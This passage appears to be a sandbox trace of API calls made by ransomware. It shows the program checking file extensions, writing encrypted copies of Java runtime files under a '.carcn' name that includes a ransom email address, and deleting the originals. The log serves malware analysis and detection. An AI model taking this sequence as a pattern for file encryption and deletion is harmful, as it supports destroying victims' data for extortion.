files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0178.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.059] lstrlenW (lpString=".doc") returned 4 [0178.059] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.059] lstrlenW (lpString=".docx") returned 5 [0178.059] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0178.059] lstrlenW (lpString=".pdf") returned 4 [0178.059] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.059] lstrlenW (lpString=".xls") returned 4 [0178.059] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.059] lstrlenW (lpString=".xlsx") returned 5 [0178.059] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0178.059] lstrlenW (lpString=".ppt") returned 4 [0178.059] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.059] lstrlenW (lpString=".zip") returned 4 [0178.059] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.059] lstrlenW (lpString=".rar") returned 4 [0178.060] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.060] lstrlenW (lpString=".bz2") returned 4 [0178.060] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.060] lstrlenW (lpString=".7z") returned 3 [0178.060] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.060] lstrlenW (lpString=".dbf") returned 4 [0178.060] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.060] lstrlenW (lpString=".1cd") returned 4 [0178.060] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.060] lstrlenW (lpString=".jpg") returned 4 [0178.060] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.060] lstrlenW (lpString=".doc") returned 4 [0178.060] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.060] lstrlenW (lpString=".docx") returned 5 [0178.060] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0178.060] lstrlenW (lpString=".pdf") returned 4 [0178.060] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.060] lstrlenW (lpString=".xls") returned 4 [0178.060] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.060] lstrlenW (lpString=".xlsx") returned 5 [0178.060] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0178.061] lstrlenW (lpString=".ppt") returned 4 [0178.061] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.061] lstrlenW (lpString=".zip") returned 4 [0178.061] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.061] lstrlenW (lpString=".rar") returned 4 [0178.061] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.061] lstrlenW (lpString=".bz2") returned 4 [0178.061] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.061] lstrlenW (lpString=".7z") returned 3 [0178.061] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.061] lstrlenW (lpString=".dbf") returned 4 [0178.061] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.061] lstrlenW (lpString=".1cd") returned 4 [0178.061] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0178.061] lstrlenW (lpString=".jpg") returned 4 [0178.061] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.061] lstrcmpiW (lpString1=".gif", lpString2=".carcn") returned 1 [0178.061] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25 [0178.061] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.062] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=153) returned 1 [0178.062] CloseHandle (hObject=0x380) returned 1 [0178.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0178.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.062] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.062] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.063] GetLastError () returned 0x0 [0178.063] ReadFile (in: hFile=0x380, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x99, lpOverlapped=0x0) returned 1 [0178.064] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xa0, lpOverlapped=0x0) returned 1 [0178.065] ReadFile (in: hFile=0x380, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.065] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x106, lpOverlapped=0x0) returned 1 [0178.065] SetEndOfFile (hFile=0x2e0) returned 1 [0178.065] CloseHandle (hObject=0x2e0) returned 1 [0178.065] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.065] SetEndOfFile (hFile=0x380) returned 1 [0178.066] CloseHandle (hObject=0x380) returned 1 [0178.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.066] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1 [0178.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.067] lstrlenW (lpString=".doc") returned 4 [0178.067] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.067] lstrlenW (lpString=".docx") returned 5 [0178.067] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.067] lstrlenW (lpString=".pdf") returned 4 [0178.067] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.067] lstrlenW (lpString=".xls") returned 4 [0178.067] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.067] lstrlenW (lpString=".xlsx") returned 5 [0178.067] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.067] lstrlenW (lpString=".ppt") returned 4 [0178.067] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.067] lstrlenW (lpString=".zip") returned 4 [0178.067] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.067] lstrlenW (lpString=".rar") returned 4 [0178.067] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.067] lstrlenW (lpString=".bz2") returned 4 [0178.067] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.067] lstrlenW (lpString=".7z") returned 3 [0178.067] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.067] lstrlenW (lpString=".dbf") returned 4 [0178.067] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.067] lstrlenW (lpString=".1cd") returned 4 [0178.067] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.067] lstrlenW (lpString=".jpg") returned 4 [0178.068] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.068] lstrlenW (lpString=".doc") returned 4 [0178.068] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.068] lstrlenW (lpString=".docx") returned 5 [0178.068] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.068] lstrlenW (lpString=".pdf") returned 4 [0178.068] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.068] lstrlenW (lpString=".xls") returned 4 [0178.068] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.068] lstrlenW (lpString=".xlsx") returned 5 [0178.068] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.068] lstrlenW (lpString=".ppt") returned 4 [0178.068] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.068] lstrlenW (lpString=".zip") returned 4 [0178.068] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.068] lstrlenW (lpString=".rar") returned 4 [0178.068] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.068] lstrlenW (lpString=".bz2") returned 4 [0178.068] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.068] lstrlenW (lpString=".7z") returned 3 [0178.068] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.068] lstrlenW (lpString=".dbf") returned 4 [0178.068] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.068] lstrlenW (lpString=".1cd") returned 4 [0178.068] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79 [0178.068] lstrlenW (lpString=".jpg") returned 4 [0178.068] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.069] lstrcmpiW (lpString1=".gif", lpString2=".carcn") returned 1 [0178.069] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23 [0178.069] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.069] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=168) returned 1 [0178.069] CloseHandle (hObject=0x380) returned 1 [0178.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20 [0178.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.069] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.069] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.069] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.069] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.069] GetLastError () returned 0x0 [0178.069] ReadFile (in: hFile=0x380, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xa8, lpOverlapped=0x0) returned 1 [0178.070] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xb0, lpOverlapped=0x0) returned 1 [0178.071] ReadFile (in: hFile=0x380, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.071] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x102, lpOverlapped=0x0) returned 1 [0178.071] SetEndOfFile (hFile=0x2e0) returned 1 [0178.071] CloseHandle (hObject=0x2e0) returned 1 [0178.072] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.072] SetEndOfFile (hFile=0x380) returned 1 [0178.072] CloseHandle (hObject=0x380) returned 1 [0178.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.073] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0178.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.073] lstrlenW (lpString=".doc") returned 4 [0178.073] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.073] lstrlenW (lpString=".docx") returned 5 [0178.073] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.073] lstrlenW (lpString=".pdf") returned 4 [0178.073] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.073] lstrlenW (lpString=".xls") returned 4 [0178.073] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.073] lstrlenW (lpString=".xlsx") returned 5 [0178.073] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.073] lstrlenW (lpString=".ppt") returned 4 [0178.073] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.073] lstrlenW (lpString=".zip") returned 4 [0178.073] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.073] lstrlenW (lpString=".rar") returned 4 [0178.074] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.074] lstrlenW (lpString=".bz2") returned 4 [0178.074] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.074] lstrlenW (lpString=".7z") returned 3 [0178.074] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.074] lstrlenW (lpString=".dbf") returned 4 [0178.074] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.074] lstrlenW (lpString=".1cd") returned 4 [0178.074] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.074] lstrlenW (lpString=".jpg") returned 4 [0178.074] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.074] lstrlenW (lpString=".doc") returned 4 [0178.074] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.074] lstrlenW (lpString=".docx") returned 5 [0178.074] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.074] lstrlenW (lpString=".pdf") returned 4 [0178.074] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.074] lstrlenW (lpString=".xls") returned 4 [0178.074] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.074] lstrlenW (lpString=".xlsx") returned 5 [0178.074] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.074] lstrlenW (lpString=".ppt") returned 4 [0178.074] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.074] lstrlenW (lpString=".zip") returned 4 [0178.074] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.074] lstrlenW (lpString=".rar") returned 4 [0178.074] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.074] lstrlenW (lpString=".bz2") returned 4 [0178.074] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.074] lstrlenW (lpString=".7z") returned 3 [0178.075] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.075] lstrlenW (lpString=".dbf") returned 4 [0178.075] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.075] lstrlenW (lpString=".1cd") returned 4 [0178.075] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0178.075] lstrlenW (lpString=".jpg") returned 4 [0178.075] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.075] lstrcmpiW (lpString1=".gif", lpString2=".carcn") returned 1 [0178.075] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25 [0178.075] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.075] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=153) returned 1 [0178.075] CloseHandle (hObject=0x380) returned 1 [0178.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0178.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.647] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.647] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.648] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.648] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0178.648] GetLastError () returned 0x0 [0178.648] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x99, lpOverlapped=0x0) returned 1 [0178.649] WriteFile (in: hFile=0x34c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xa0, lpOverlapped=0x0) returned 1 [0178.649] ReadFile (in: hFile=0x2e0, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.650] WriteFile (in: hFile=0x34c, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x106, lpOverlapped=0x0) returned 1 [0178.650] SetEndOfFile (hFile=0x34c) returned 1 [0178.650] CloseHandle (hObject=0x34c) returned 1 [0178.650] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.650] SetEndOfFile (hFile=0x2e0) returned 1 [0178.651] CloseHandle (hObject=0x2e0) returned 1 [0178.651] SetFileAttributesW (lpFileName="C:\\Program 